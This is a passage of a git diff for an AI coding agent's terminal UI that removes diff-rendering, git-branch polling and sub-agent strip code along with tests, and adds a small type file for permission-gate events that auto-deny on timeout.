a/src/tui/diff.test.ts +++ /dev/null @@ -1,189 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { diffLines, diffStat, editDiffFromArgs, renderDiff } from "./diff.js"; -import { color } from "./theme.js"; - -describe("renderDiff colors", () => { - test("line-number column always uses the dim context token", () => { - const lines = renderDiff("a\nb", "a\nB", 40); - const numColColors = lines.map((line) => line[0]!.color); - expect(numColColors).toEqual([color("diffContext"), color("diffContext"), color("diffContext")]); - }); - - test("sign column resolves from the diff token family", () => { - const lines = renderDiff("a\nb", "a\nB", 40); - const signColors = lines.map((line) => line[1]!.color); - expect(signColors).toEqual([color("diffContext"), color("diffRemoved"), color("diffAdded")]); - }); - - test("context rows carry no dim attribute — the token owns the full appearance", () => { - const lines = renderDiff("a\nb", "a\nB", 40); - for (const line of lines) { - for (const segment of line) expect(segment).not.toHaveProperty("dim"); - } - }); -}); - -describe("renderDiff background washes", () => { - test("a pure addition washes the sign column and body with the added background", () => { - const lines = renderDiff("", "new line", 40); - const [addedLine] = lines; - expect(addedLine).toBeDefined(); - for (const segment of addedLine!.slice(2)) expect(segment.backgroundColor).toBe(color("diffAddedBg")); - expect(addedLine![1]!.backgroundColor).toBe(color("diffAddedBg")); - }); - - test("a pure removal washes the sign column and body with the removed background", () => { - const lines = renderDiff("old line", "", 40); - const [removedLine] = lines; - expect(removedLine).toBeDefined(); - for (const segment of removedLine!.slice(2)) expect(segment.backgroundColor).toBe(color("diffRemovedBg")); - expect(removedLine![1]!.backgroundColor).toBe(color("diffRemovedBg")); - }); - - test("context rows carry no background wash", () => { - const lines = renderDiff("a\nb", "a\nB", 40); - const contextLine = lines[0]!; - for (const segment of contextLine) expect(segment.backgroundColor).toBeUndefined(); - }); - - test("word-level changed tokens on a paired line carry background emphasis, shared tokens do not", () => { - const lines = renderDiff("const foo = bar(x, y);", "const foo = baz(x, y);", 80); - const delBody = lines[0]!.slice(2); - const addBody = lines[1]!.slice(2); - const changedDel = delBody.find((s) => s.text.includes("bar")); - const sharedDel = delBody.find((s) => s.text.includes("const")); - const changedAdd = addBody.find((s) => s.text.includes("baz")); - expect(changedDel?.backgroundColor).toBe(color("diffRemovedBg")); - expect(changedAdd?.backgroundColor).toBe(color("diffAddedBg")); - expect(sharedDel?.backgroundColor).toBeUndefined(); - }); -}); - -describe("diffLines", () => { - test("marks added, removed, and context lines", () => { - const rows = diffLines("a\nb\nc", "a\nB\nc"); - expect(rows).toEqual([ - { kind: "context", text: "a" }, - { kind: "del", text: "b" }, - { kind: "add", text: "B" }, - { kind: "context", text: "c" }, - ]); - }); - - test("treats an empty old side as a pure addition", () => { - const rows = diffLines("", "x\ny"); - expect(rows).toEqual([ - { kind: "add", text: "x" }, - { kind: "add", text: "y" }, - ]); - }); -}); - -describe("diffStat", () => { - test("counts additions and removals", () => { - expect(diffStat("a\nb", "a\nc\nd")).toEqual({ added: 2, removed: 1 }); - }); -}); - -describe("editDiffFromArgs", () => { - test("reads edit_file before/after from old_string and new_string", () => { - const result = editDiffFromArgs("edit_file", JSON.stringify({ path: "x.ts", old_string: "foo", new_string: "bar" })); - expect(result).toEqual({ oldText: "foo", newText: "bar", path: "x.ts" }); - }); - - test("treats write_file content as the new side against an empty old side", () => { - const result = editDiffFromArgs("write_file", JSON.stringify({ path: "x.ts", content: "line" })); - expect(result).toEqual({ oldText: "", newText: "line", path: "x.ts" }); - }); - - test("returns null for unrelated tools and bad JSON", () => { - expect(editDiffFromArgs("read_file", "{}")).toBeNull(); - expect(editDiffFromArgs("edit_file", "not json")).toBeNull(); - }); -}); - -describe("renderDiff", () => { - test("prefixes changed lines with + and - gutters", () => { - const lines = renderDiff("old", "new", 40); - const text = lines.map((line) => line.map((seg) => seg.text).join("")).join("\n"); - expect(text).toContain("- old"); - expect(text).toContain("+ new"); - }); - - test("collapses unchanged runs when contextLines is set", () => { - const oldText = Array.from({ length: 20 }, (_, i) => `line ${i}`).join("\n"); - const newText = oldText.replace("line 0", "CHANGED"); - const lines = renderDiff(oldText, newText, 40, { contextLines: 2 }); - const text = lines.map((line) => line.map((seg) => seg.text).join("")).join("\n"); - expect(text).toContain("unchanged line"); - }); - - test("word-level LCS keeps shared tokens as context and paints only the delta", () => { - const lines = renderDiff( - "const foo = bar(x, y);", - "const foo = baz(x, y);", - 80, - ); - const delBody = lines[0]!.slice(2); - const addBody = lines[1]!.slice(2); - // Shared prefix tokens should not carry the add/remove colors. - const delChanged = delBody.filter((s) => s.color === color("diffRemoved")).map((s) => s.text).join(""); - const addChanged = addBody.filter((s) => s.color === color("diffAdded")).map((s) => s.text).join(""); - expect(delChanged).toContain("bar"); - expect(addChanged).toContain("baz"); - expect(delChanged).not.toContain("const"); - expect(addChanged).not.toContain("const"); - // Shared tokens keep the context color. - expect(delBody.some((s) => s.text.includes("const") && s.color === color("diffContext"))).toBe(true); - }); - - test("word-level LCS is not positional — reordered shared words stay context", () => { - // Positional compare would mark every token changed; LCS keeps "a" and "c". - const lines = renderDiff("a b c", "a x c", 40); - const delBody = lines[0]!.slice(2); - const changed = delBody.filter((s) => s.color === color("diffRemoved")).map((s) => s.text.trim()).filter(Boolean); - expect(changed).toEqual(["b"]); - }); -}); - -describe("renderDiff line numbers", () => { - test("context rows carry both old and new line numbers", () => { - const lines = renderDiff("a\nb\nc", "a\nB\nc", 40); - const text = (line: (typeof lines)[number]): string => line.map((seg) => seg.text).join(""); - expect(text(lines[0]!)).toContain("1 1"); - expect(text(lines[1]!)).toContain("2 "); - expect(text(lines[2]!)).toContain(" 2"); - expect(text(lines[3]!)).toContain("3 3"); - }); - - test("del rows show only the old number, add rows show only the new number", () => { - const lines = renderDiff("old", "new", 40); - // The number column is " " — the absent side renders blank. - expect(lines[0]![0]!.text).toBe("1 "); - expect(lines[1]![0]!.text).toBe(" 1 "); - }); - - test("lineNumbers: false omits the number gutter entirely", () => { - const lines = renderDiff("old", "new", 40, { lineNumbers: false }); - const texts = lines.map((line) => line.map((seg) => seg.text).join("")); - expect(texts).toEqual(["- old", "+ new"]); - }); - - test("line numbers stay right-aligned as the file grows past one digit", () => { - const oldText = Array.from({ length: 12 }, (_, i) => `line ${i}`).join("\n"); - const newText = oldText.replace("line 0", "CHANGED"); - const lines = renderDiff(oldText, newText, 80); - const widths = new Set(lines.map((line) => line[0]!.text.length)); - // Every row's number column pads to the same width regardless of digit count. - expect(widths.size).toBe(1); - }); - - test("collapsed context marker carries no line number", () => { - const oldText = Array.from({ length: 20 }, (_, i) => `line ${i}`).join("\n"); - const newText = oldText.replace("line 0", "CHANGED"); - const lines = renderDiff(oldText, newText, 40, { contextLines: 2 }); - const marker = lines.find((line) => line.map((seg) => seg.text).join("").includes("unchanged line")); - expect(marker).toBeDefined(); - expect(marker![0]!.text.trim()).toBe(""); - }); -}); diff --git a/src/tui/diff.ts b/src/tui/diff.ts deleted file mode 100644 index d313275aa..000000000 --- a/src/tui/diff.ts +++ /dev/null @@ -1,262 +0,0 @@ -import type { StyledLine } from "./view/index.js"; -import type { StyledSegment } from "./markdown-parser.js"; -import { wrapRanges } from "./view/height.js"; -import { color } from "./theme.js"; - -export type DiffRowKind = "add" | "del" | "context"; -export type DiffRow = { kind: DiffRowKind; text: string }; - -// A row plus its position in the old/new file. `collapsed` marks the "N -// unchanged lines" summary row inserted by collapseContext, which occupies no -// real line in either file and so carries no line numbers. -type NumberedRow = DiffRow & { oldNum?: number; newNum?: number; collapsed?: boolean }; - -// Longest-common-subsequence line diff. The classic dynamic-programming table -// is fine here: edit hunks (old_string vs new_string) are small, and even a -// whole-file write diffs against an empty side, so the quadratic cost never -// bites in practice. -export function diffLines(oldText: string, newText: string): DiffRow[] { - const a = oldText.length === 0 ? [] : oldText.split("\n"); - const b = newText.length === 0 ? [] : newText.split("\n"); - const n = a.length; - const m = b.length; - - const lcs: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0)); - for (let i = n - 1; i >= 0; i--) { - for (let j = m - 1; j >= 0; j--) { - lcs[i]![j] = a[i] === b[j] ? lcs[i + 1]![j + 1]! + 1 : Math.max(lcs[i + 1]![j]!, lcs[i]![j + 1]!); - } - } - - const rows: DiffRow[] = []; - let i = 0; - let j = 0; - while (i < n && j < m) { - if (a[i] === b[j]) { - rows.push({ kind: "context", text: a[i]! }); - i++; - j++; - } else if (lcs[i + 1]![j]! >= lcs[i]![j + 1]!) { - rows.push({ kind: "del", text: a[i]! }); - i++; - } else { - rows.push({ kind: "add", text: b[j]! }); - j++; - } - } - while (i < n) rows.push({ kind: "del", text: a[i++]! }); - while (j < m) rows.push({ kind: "add", text: b[j++]! }); - return rows; -} - -const GUTTER: Record = { add: "+ ", del: "- ", context: " " }; - -function rowColor(kind: DiffRowKind): string { - if (kind === "add") return color("diffAdded"); - if (kind === "del") return color("diffRemoved"); - return color("diffContext"); -} - -// Context rows carry no wash — only the changed content gets one, so an -// unchanged line in the middle of a hunk still reads as unchanged. Returned as -// a spreadable prop object rather than `string | undefined` so callers never -// assign `backgroundColor: undefined`, which exactOptionalPropertyTypes rejects. -function rowBgProp(kind: DiffRowKind): { backgroundColor: string } | Record { - if (kind === "add") return { backgroundColor: color("diffAddedBg") }; - if (kind === "del") return { backgroundColor: color("diffRemovedBg") }; - return {}; -} - -// Attach each row's position in the old/new file before any collapsing, so a -// hidden stretch still leaves the surviving rows numbered correctly. -function numberRows(rows: DiffRow[]): NumberedRow[] { - let oldLine = 1; - let newLine = 1; - return rows.map((row) => { - if (row.kind === "context") return { ...row, oldNum: oldLine++, newNum: newLine++ }; - if (row.kind === "del") return { ...row, oldNum: oldLine++ }; - return { ...row, newNum: newLine++ }; - }); -} - -// Collapse long unchanged stretches to a few lines of context on each side of a -// change so a large file write or a wide edit does not bury the actual delta. -function collapseContext(rows: NumberedRow[], pad: number): NumberedRow[] { - const keep = new Array(rows.length).fill(false); - rows.forEach((row, idx) => { - if (row.kind === "context") return; - for (let k = Math.max(0, idx - pad); k <= Math.min(rows.length - 1, idx + pad); k++) keep[k] = true; - }); - - const out: NumberedRow[] = []; - let hidden = 0; - const flush = (): void => { - if (hidden > 0) { - out.push({ kind: "context", text: `… ${hidden} unchanged line${hidden === 1 ? "" : "s"}`, collapsed: true }); - hidden = 0; - } - }; - rows.forEach((row, idx) => { - if (keep[idx]) { - flush(); - out.push(row); - } else { - hidden++; - } - }); - flush(); - return out; -} - -export type DiffRenderOptions = { - // Lines of unchanged context to keep around each change. Undefined keeps the - // diff uncollapsed (the right call for the small localized edit hunks). - contextLines?: number; - // Hide the old/new line-number gutter. edit_file hunks diff old_string - // against new_string, so their row indices are snippet-relative and would - // read as (wrong) file line numbers if shown. - lineNumbers?: false; -}; - -function tokenizeWords(line: string): string[] { - return line.match(/\S+|\s+/g) ?? (line.length === 0 ? [] : [line]); -} - -function lcsTable(a: string[], b: string[]): number[][] { - const n = a.length; - const m = b.length; - const table: number[][] = Array.from({ length: n + 1 }, () => new Array(m + 1).fill(0)); - for (let i = n - 1; i >= 0; i--) { - for (let j = m - 1; j >= 0; j--) { - table[i]![j] = a[i] === b[j] ? table[i + 1]![j + 1]! + 1 : Math.max(table[i + 1]![j]!, table[i]![j + 1]!); - } - } - return table; -} - -// Token LCS over words/whitespace runs so a rename or argument swap only paints -// the changed tokens, not the whole line. Emits segments for `line` only (the -// side being rendered); tokens unique to `paired` are skipped on this pass. -export function wordDiffSegments(line: string, kind: "add" | "del", paired: string): StyledSegment[] { - const self = tokenizeWords(line); - const other = tokenizeWords(paired); - if (self.length === 0) return [{ text: line, color: rowColor(kind), ...rowBgProp(kind) }]; - - const lcs = lcsTable(self, other); - const out: StyledSegment[] = []; - let i = 0; - let j = 0; - const n = self.length; - const m = other.length; - while (i < n && j < m) { - if (self[i] === other[j]) { - out.push({ text: self[i]!, color: color("diffContext") }); - i++; - j++; - } else if (lcs[i + 1]![j]! >= lcs[i]![j + 1]!) { - out.push({ text: self[i]!, color: rowColor(kind), ...rowBgProp(kind) }); - i++; - } else { - j++; - } - } - while (i < n) out.push({ text: self[i++]!, color: rowColor(kind), ...rowBgProp(kind) }); - return out.length > 0 ? out : [{ text: line, color: rowColor(kind), ...rowBgProp(kind) }]; -} - -function sliceSegments(segments: StyledSegment[], start: number, end: number): StyledSegment[] { - const out: StyledSegment[] = []; - let pos = 0; - for (const seg of segments) { - const segStart = pos; - const segEnd = pos + seg.text.length; - pos = segEnd; - const from = Math.max(start, segStart); - const to = Math.min(end, segEnd); - if (to > from) out.push({ ...seg, text: seg.text.slice(from - segStart, to - segStart) }); - } - return out; -} - -function padNum(n: number | undefined, width: number): string { - return n === undefined ? " ".repeat(width) : String(n).padStart(width, " "); -} - -export function renderDiff(oldText: string, newText: string, width: number, opts: DiffRenderOptions = {}): StyledLine[] { - let rows = numberRows(diffLines(oldText, newText)); - if (opts.contextLines !== undefined) rows = collapseContext(rows, opts.contextLines); - - const showNumbers = opts.lineNumbers !== false; - - // Right-align both columns to the widest line number that actually appears, - // so a 3-digit file doesn't waste columns a 1000-line file would need. - const maxOldNum = rows.reduce((max, row) => Math.max(max, row.oldNum ?? 0), 0); - const maxNewNum = rows.reduce((max, row) => Math.max(max, row.newNum ?? 0), 0); - const numWidth = Math.max(1, String(maxOldNum).length, String(maxNewNum).length); - const numColWidth = showNumbers ? numWidth * 2 + 2 : 0; // " " - const numColor = color("diffContext"); - - const lines: StyledLine[] = []; - const bodyWidth = Math.max(1, width - numColWidth - 2); - for (let r = 0; r < rows.length; r++) { - const row = rows[r]!; - const numCol = row.collapsed === true ? " ".repeat(numColWidth) : `${padNum(row.oldNum, numWidth)} ${padNum(row.newNum, numWidth)} `; - const sign = GUTTER[row.kind]; - const paired = - row.kind === "del" && rows[r + 1]?.kind === "add" ? rows[r + 1]!.text - : row.kind === "add" && rows[r - 1]?.kind === "del" ? rows[r - 1]!.text - : undefined; - const segColor = rowColor(row.kind); - const segBgProp = rowBgProp(row.kind); - let bodySegs: StyledSegment[]; - if ((row.kind === "add" || row.kind === "del") && paired !== undefined && paired !== row.text) { - bodySegs = wordDiffSegments(row.text, row.kind, paired); - } else { - bodySegs = [{ text: row.text, color: segColor, ...segBgProp }]; - } - const ranges = row.text.length === 0 ? [{ start: 0, end: 0 }] : wrapRanges(row.text, bodyWidth); - for (let idx = 0; idx < ranges.length; idx++) { - const range = ranges[idx]!; - const piece = sliceSegments(bodySegs, range.start, range.end); - lines.push([ - ...(showNumbers ? [{ text: idx === 0 ? numCol : " ".repeat(numColWidth), color: numColor }] : []), - { text: idx === 0 ? sign : " ", color: segColor, ...segBgProp }, - ...(piece.length > 0 ? piece : [{ text: "", color: segColor, ...segBgProp }]), - ]); - } - } - return lines; -} - -export function diffStat(oldText: string, newText: string): { added: number; removed: number } { - let added = 0; - let removed = 0; - for (const row of diffLines(oldText, newText)) { - if (row.kind === "add") added++; - else if (row.kind === "del") removed++; - } - return { added, removed }; -} - -type EditArgs = { path?: unknown; old_string?: unknown; new_string?: unknown; content?: unknown }; - -// Pulls the before/after text out of an edit_file or write_file call's JSON -// arguments. write_file carries only the new content, so its "before" is empty -// and the whole file reads as an addition. Returns null for any other tool or -// unparseable arguments. -export function editDiffFromArgs(toolName: string, rawArgs: string): { oldText: string; newText: string; path?: string } | null { - if (toolName !== "edit_file" && toolName !== "write_file") return null; - let parsed: EditArgs; - try { - parsed = JSON.parse(rawArgs) as EditArgs; - } catch { - return null; - } - const path = typeof parsed.path === "string" ? parsed.path : undefined; - if (toolName === "write_file") { - if (typeof parsed.content !== "string") return null; - return { oldText: "", newText: parsed.content, ...(path !== undefined ? { path } : {}) }; - } - if (typeof parsed.old_string !== "string" || typeof parsed.new_string !== "string") return null; - return { oldText: parsed.old_string, newText: parsed.new_string, ...(path !== undefined ? { path } : {}) }; -} diff --git a/src/tui/gate-events.ts b/src/tui/gate-events.ts new file mode 100644 index 000000000..80ad92b68 --- /dev/null +++ b/src/tui/gate-events.ts @@ -0,0 +1,26 @@ +import type { ApprovalOutcome, PermissionRequest } from "../permission/types.js"; +import type { OperatorResult } from "../agent/tools.js"; + +export type OperatorGateEvent = { + question: string; + options: string[]; + resolve: (result: OperatorResult) => void; +}; + +export type PermissionGateEvent = { + request: PermissionRequest; + resolve: (outcome: ApprovalOutcome) => void; + /** + * When set (goal mode active), auto-deny if the operator has not answered + * within this many ms so an unattended goal cannot park on the modal forever. + */ + timeoutMs?: number; + /** Override the agent-facing deny message on timeout. */ + timeoutMessage?: string; + /** + * Tool-execution budget signal. When aborted (watchdog timeout or parent + * cancel), this permission entry is auto-denied even if it is not the head + * of the queue — so the modal cannot outlive a tool that already finished. + */ + signal?: AbortSignal; +}; diff --git a/src/tui/git-branch.test.ts b/src/tui/git-branch.test.ts deleted file mode 100644 index be9355ad6..000000000 --- a/src/tui/git-branch.test.ts +++ /dev/null @@ -1,67 +0,0 @@ -import { test, expect } from "bun:test"; -import { createGuardedRefresh } from "./git-branch.js"; - -test("createGuardedRefresh reports the fetched branch", async () => { - const seen: (string | null)[] = []; - const refresh = createGuardedRefresh( - "/repo", - async (cwd) => { - expect(cwd).toBe("/repo"); - return "main"; - }, - (branch) => seen.push(branch), - ); - - refresh(); - await Bun.sleep(0); - expect(seen).toEqual(["main"]); -}); - -test("createGuardedRefresh skips refreshes while one is in flight", async () => { - let calls = 0; - let resolveFirst: (branch: string | null) => void = () => {}; - const refresh = createGuardedRefresh( - "/repo", - () => { - calls += 1; - return new Promise((resolve) => { - resolveFirst = resolve; - }); - }, - () => {}, - ); - - refresh(); - refresh(); - refresh(); - expect(calls).toBe(1); - - resolveFirst("main"); - await Bun.sleep(0); - - refresh(); - expect(calls).toBe(2); -}); - -test("createGuardedRefresh recovers when the fetch rejects", async () => { - let calls = 0; - const seen: (string | null)[] = []; - const refresh = createGuardedRefresh( - "/repo", - () => { - calls += 1; - if (calls === 1) return Promise.reject(new Error("boom")); - return Promise.resolve("main"); - }, - (branch) => seen.push(branch), - ); - - refresh(); - await Bun.sleep(0); - expect(seen).toEqual([]); - - refresh(); - await Bun.sleep(0); - expect(calls).toBe(2); - expect(seen).toEqual(["main"]); -}); diff --git a/src/tui/git-branch.ts b/src/tui/git-branch.ts deleted file mode 100644 index b1c197a70..000000000 --- a/src/tui/git-branch.ts +++ /dev/null @@ -1,61 +0,0 @@ -// Status-bar git branch polling. Branch lookup itself lives in -// src/agent/environment.ts (getGitBranch, which runs git with a 3s timeout); -// this module owns the interval refresh and the React state wiring, and never -// blocks render on the git process. -import { useEffect, useState } from "react"; -import { getGitBranch } from "../agent/environment.js"; - -export type FetchBranch = (cwd: string) => Promise; - -// Returns a refresh function that skips a lookup while the previous one is -// still pending, so a hung git process (network filesystem, etc.) cannot -// accumulate child processes across interval ticks. -export function createGuardedRefresh( - cwd: string, - fetchBranch: FetchBranch, - onBranch: (branch: string | null) => void, -): () => void { - let inFlight = false; - return () => { - if (inFlight) return; - inFlight = true; - fetchBranch(cwd).then( - (branch) => { - inFlight = false; - onBranch(branch); - }, - () => { - inFlight = false; - }, - ); - }; -} - -const DEFAULT_REFRESH_MS = 5_000; - -// Refreshes on a timer and whenever cwd changes; never awaits synchronously -// during render, so a slow or hanging git process can't stall the TUI. -export function useGitBranch( - cwd: string, - refreshMs = DEFAULT_REFRESH_MS, - fetchBranch: FetchBranch = getGitBranch, -): string | null { - const [branch, setBranch] = useState(null); - - useEffect(() => { - let cancelled = false; - - const refresh = createGuardedRefresh(cwd, fetchBranch, (next) => { - if (!cancelled) setBranch(next); - }); - - refresh(); - const timer = setInterval(refresh, refreshMs); - return () => { - cancelled = true; - clearInterval(timer); - }; - }, [cwd, refreshMs, fetchBranch]); - - return branch; -} diff --git a/src/tui/hooks/use-agents-strip.ts b/src/tui/hooks/use-agents-strip.ts deleted file mode 100644 index 027ba4f29..000000000 --- a/src/tui/hooks/use-agents-strip.ts +++ /dev/null @@ -1,163 +0,0 @@ -import { useMemo, useRef, type Dispatch, type SetStateAction } from "react"; -import type { EventEmitter } from "node:events"; -import type { AgentStreamView } from "../use-stream.js"; -import type { SubAgentSession, SubAgentSessionStore } from "../../subagent/index.js"; -import type { Task } from "../../agent/tasks.js"; -import type { OutboundUserMessage } from "../message-types.js"; -import { - activeStripSessions, - agentsStripRowCount, - computeAgentsStripWindow, - DEFAULT_STRIP_MAX_VISIBLE, - mergeInFlightSubAgents, - orderStripSessions, - shouldShowAgentsStrip, - type AgentsStripWindow, -} from "../components/agents-strip.js"; -import { useDrainLogic } from "./use-drain-logic.js"; - -export type UseAgentsStripArgs = { - eventEmitter: EventEmitter; - subAgentSessions: SubAgentSessionStore | undefined; - sessionsTick: number; - setSessionsTick: Dispatch>; - state: AgentStreamView; - stateRef: { current: AgentStreamView }; - sendMessageRef: { current: (message: OutboundUserMessage) => void }; - pendingQueueRef: { current: OutboundUserMessage[] }; - tryDrainQueuedMessageRef: { current: () => void }; - agentsNavOpen: boolean; - agentsNavIndex: number; - enteredSessionId: string | null; -}; - -export type AgentsStripState = { - agentSessions: readonly SubAgentSession[]; - browseSessions: readonly SubAgentSession[]; - agentsNavList: readonly SubAgentSession[]; - agentsNavIndexClamped: number; - enteredSession: SubAgentSession | undefined; - activeSubAgents: Task[]; - activeSubAgentsRef: { current: Task[] }; - queuedCount: number; - setQueuedCount: Dispatch>; - hasRunningSubAgentSessions: () => boolean; - steerOnEnter: boolean; - agentsStripVisible: boolean; - agentsStripScrollWindow: AgentsStripWindow | undefined; - agentsStripRows: number; -}; - -/** Derives the Agents strip's session lists, nav windowing, and chrome row - * count from the sub-agent session store and live stream state. */ -export function useAgentsStrip({ - eventEmitter, - subAgentSessions, - sessionsTick, - setSessionsTick, - state, - stateRef, - sendMessageRef, - pendingQueueRef, - tryDrainQueuedMessageRef, - agentsNavOpen, - agentsNavIndex, - enteredSessionId, -}: UseAgentsStripArgs): AgentsStripState { - // The strip reflects only active work: an agent leaves the visible list the - // moment it reaches a terminal state. Completed sessions stay in the store - // for later inspection but no longer occupy the strip. - const agentSessions = useMemo(() => { - void sessionsTick; - const merged = mergeInFlightSubAgents( - subAgentSessions?.listForStrip() ?? [], - state.subAgents, - ); - return activeStripSessions(merged); - }, [subAgentSessions, sessionsTick, state.subAgents]); - - // Ctrl+E browses the full strip surface (running + recent completed). The - // chrome strip filters to running only; nav must still reach finished sessions - // for inspection — otherwise a just-finished child vanishes from Ctrl+E while - // the live-progress fallback can still paint a ghost "doing" row. - const browseSessions = useMemo(() => { - void sessionsTick; - return orderStripSessions(subAgentSessions?.listForStrip() ?? []); - }, [subAgentSessions, sessionsTick]); - - // A running agent can reach a terminal state while agents-nav is open, which - // shortens the strip list under the persisted selection index. Clamp at read - // time so the highlight lands on a real row instead of drifting out of range. - const agentsNavList = agentsNavOpen ? browseSessions : agentSessions; - const agentsNavIndexClamped = - agentsNavList.length === 0 ? 0 : Math.min(agentsNavIndex, agentsNavList.length - 1); - - const enteredSession = useMemo(() => { - void sessionsTick; - if (enteredSessionId === null || subAgentSessions === undefined) return undefined; - return subAgentSessions.get(enteredSessionId); - }, [enteredSessionId, subAgentSessions, sessionsTick]); - - // Agents strip (session store) + live progress fallback for chrome height. - // Prefer the session store list once anything has been spawned this session. - const activeSubAgents = useMemo( - () => state.subAgents.filter((a) => a.status !== "done" && a.status !== "cancelled"), - [state.subAgents], - ); - const activeSubAgentsRef = useRef(activeSubAgents); - activeSubAgentsRef.current = activeSubAgents; - const { queuedCount, setQueuedCount, hasRunningSubAgentSessions } = useDrainLogic({ - eventEmitter, - subAgentSessions, - setSessionsTick, - stateRef, - activeSubAgentsRef, - sendMessageRef, - pendingQueueRef, - tryDrainQueuedMessageRef, - }); - const steerOnEnter = - state.isProcessing && activeSubAgents.length === 0 && !hasRunningSubAgentSessions(); - // The strip caps rendered rows so retained history never crowds out the - // transcript; +1 accounts for the surrounding marginTop wrapper. When nav is - // open the list may include completed sessions, so size against browseSessions. - const agentsStripVisible = shouldShowAgentsStrip({ - chromeSessions: agentSessions, - browseSessions, - agentsNavOpen, - }); - const agentsStripScrollWindow = - agentsNavOpen && browseSessions.length > DEFAULT_STRIP_MAX_VISIBLE - ? computeAgentsStripWindow( - browseSessions.length, - agentsNavIndexClamped, - DEFAULT_STRIP_MAX_VISIBLE, - ) - : undefined; - const agentsStripRows = agentsStripVisible - ? agentsNavOpen && browseSessions.length > 0 - ? agentsStripRowCount( - browseSessions.length, - DEFAULT_STRIP_MAX_VISIBLE, - agentsStripScrollWindow, - ) + 1 - : agentsStripRowCount(agentSessions.length, DEFAULT_STRIP_MAX_VISIBLE) + 1 - : 0; - - return { - agentSessions, - browseSessions, - agentsNavList, - agentsNavIndexClamped, - enteredSession, - activeSubAgents, - activeSubAgentsRef, - queuedCount, - setQueuedCount, - hasRunningSubAgentSessions, - steerOnEnter, - agentsStripVisible, - agentsStripScrollWindow, - agentsStripRows, - }; -} diff --git a/src/tui/hooks/use-command-context.ts b/src/tui/hooks/use-command-context.ts deleted file mode 100644 index e1ecdfc94..000000000 --- a/src/tui/hooks/use-command-context.ts +++ /dev/null @@ -1,98 +0,0 @@ -import { useMemo, useRef } from "react"; -import { buildCostSummary, type CostSummary } from "../../cost/cost-summary.js"; -import { getActivePricingCache } from "../../cost/cost-visibility.js"; -import { goalKickoffUserMessage, type GoalResumeOpts, type GoalSetOpts, type GoalSnapshot } from "../../agent/goal.js"; -import type { ProviderCatalogEntry } from "../../config/index.js"; -import type { AgentStreamView } from "../use-stream.js"; -import type { CommandContext } from "../commands/registry.js"; -import type { OutboundUserMessage } from "../message-types.js"; - -export type UseCommandContextArgs = { - provider: string; - providerCatalog: ProviderCatalogEntry[]; - modelRef: { current: string }; - state: AgentStreamView; - mcpServers: Array<{ name: string; tools: string[] }>; - startNewSessionRef: { current: () => void }; - onStartWorkflow: ((name: string) => string) | undefined; - onRenameSession: ((name: string) => string | undefined) | undefined; - goalApi: - | { - get: () => GoalSnapshot | null; - set: (condition: string, opts?: GoalSetOpts) => GoalSnapshot; - pause: () => GoalSnapshot | null; - resume: (opts?: GoalResumeOpts) => GoalSnapshot | null; - clear: () => void; - } - | undefined; - sendMessageRef: { current: (message: OutboundUserMessage) => void }; -}; - -export type CommandContextController = { - getCostSummary: () => CostSummary; - commandContext: CommandContext; -}; - -export function useCommandContext({ - provider, - providerCatalog, - modelRef, - state, - mcpServers, - startNewSessionRef, - onStartWorkflow, - onRenameSession, - goalApi, - sendMessageRef, -}: UseCommandContextArgs): CommandContextController { - const getCostSummary = () => { - const activeProvider = providerCatalog.find((p) => p.name === provider); - return buildCostSummary({ - modelId: modelRef.current, - baseURL: activeProvider?.baseURL, - providerFree: activeProvider?.free, - pricingCache: getActivePricingCache(), - totalCost: state.totalCost, - formattedCost: state.formattedCost, - inputTokens: state.inputTokens, - outputTokens: state.outputTokens, - cacheReadTokens: state.cacheReadTokens, - contextTokens: state.contextTokens, - }); - }; - // commandContext below is memoized, so it would otherwise capture a stale - // getCostSummary closure (provider/state from an old render). Routing the - // call through a ref updated every render keeps the memoized context reading - // live values, matching the signalClear/startNewSessionRef pattern. - const getCostSummaryRef = useRef(getCostSummary); - getCostSummaryRef.current = getCostSummary; - - const commandContext = useMemo(() => ({ - signalClear: () => startNewSessionRef.current(), - getMCPServers: () => mcpServers, - getCostSummary: () => getCostSummaryRef.current(), - ...(onStartWorkflow !== undefined ? { startWorkflow: onStartWorkflow } : {}), - ...(onRenameSession !== undefined ? { renameSession: onRenameSession } : {}), - ...(goalApi !== undefined - ? { - goal: { - get: goalApi.get, - set: goalApi.set, - pause: goalApi.pause, - resume: goalApi.resume, - clear: goalApi.clear, - kickoff: (condition: string, phase: "set" | "resume" = "set") => { - // Start a turn immediately so the agent works without a second prompt. - // Set path forces clarify-first for vague goals; resume continues. - sendMessageRef.current({ - text: goalKickoffUserMessage(condition, phase), - attachments: [], - }); - }, - }, - } - : {}), - }), [mcpServers, onStartWorkflow, onRenameSession, goalApi]); - - return { getCostSummary, commandContext }; -} diff --git a/src/tui/hooks/use-command-dispatch.ts b/src/tui/hooks/use-command-dispatch.ts deleted file mode 100644 index 3f0c34186..000000000 --- a/src/tui/hooks/use-command-dispatch.ts +++ /dev/null @@ -1,181 +0,0 @@ -import type { Dispatch, SetStateAction } from "react"; -import type { CommandResult } from "../commands/registry.js"; -import type { PermissionsAdmin, ScopedApproval } from "../../permission/admin.js"; -import type { PluginsAdmin } from "../components/plugins-manager.js"; -import type { ProviderCatalogEntry } from "../../config/index.js"; -import type { ReasoningEffort } from "../../provider/reasoning-effort.js"; -import type { Settings, ProviderTier, TierConfig } from "../../config/settings.js"; -import { tierDefinitionAt } from "../../config/settings.js"; -import type { LoginModal } from "./use-provider-auth.js"; -import type { OutboundUserMessage } from "../message-types.js"; -import { codexProfileFromProviderName } from "../../config/codex-providers.js"; -import { xaiProfileFromProviderName } from "../../config/xai-providers.js"; -import { fetchCodexUsage, formatCodexUsage } from "../../auth/codex/usage.js"; -import { fetchXaiUsage, formatXaiUsage } from "../../auth/xai/usage.js"; -import { workflowKickoffUserMessage } from "../../workflows/kickoff.js"; - -export type UseCommandDispatchArgs = { - handleSend: (text: string) => void; - setCommandMessage: (message: string | null) => void; - providerCatalog: ProviderCatalogEntry[]; - tiers: Partial>; - applySelection: (provider: string, model: string, reasoningEffort?: ReasoningEffort) => void; - reasoningEffort: ReasoningEffort | undefined; - setTasksExpanded: Dispatch>; - permissionsAdmin: PermissionsAdmin | undefined; - setPermissionEntries: Dispatch>; - setPermissionsOpen: Dispatch>; - setSettingsOpen: Dispatch>; - pluginsAdmin: PluginsAdmin | undefined; - setPluginsOpen: Dispatch>; - setHelpOpen: Dispatch>; - setAgentModalOpen: Dispatch>; - refreshAuthState: () => void; - provider: string; - setAgentModalUsage: 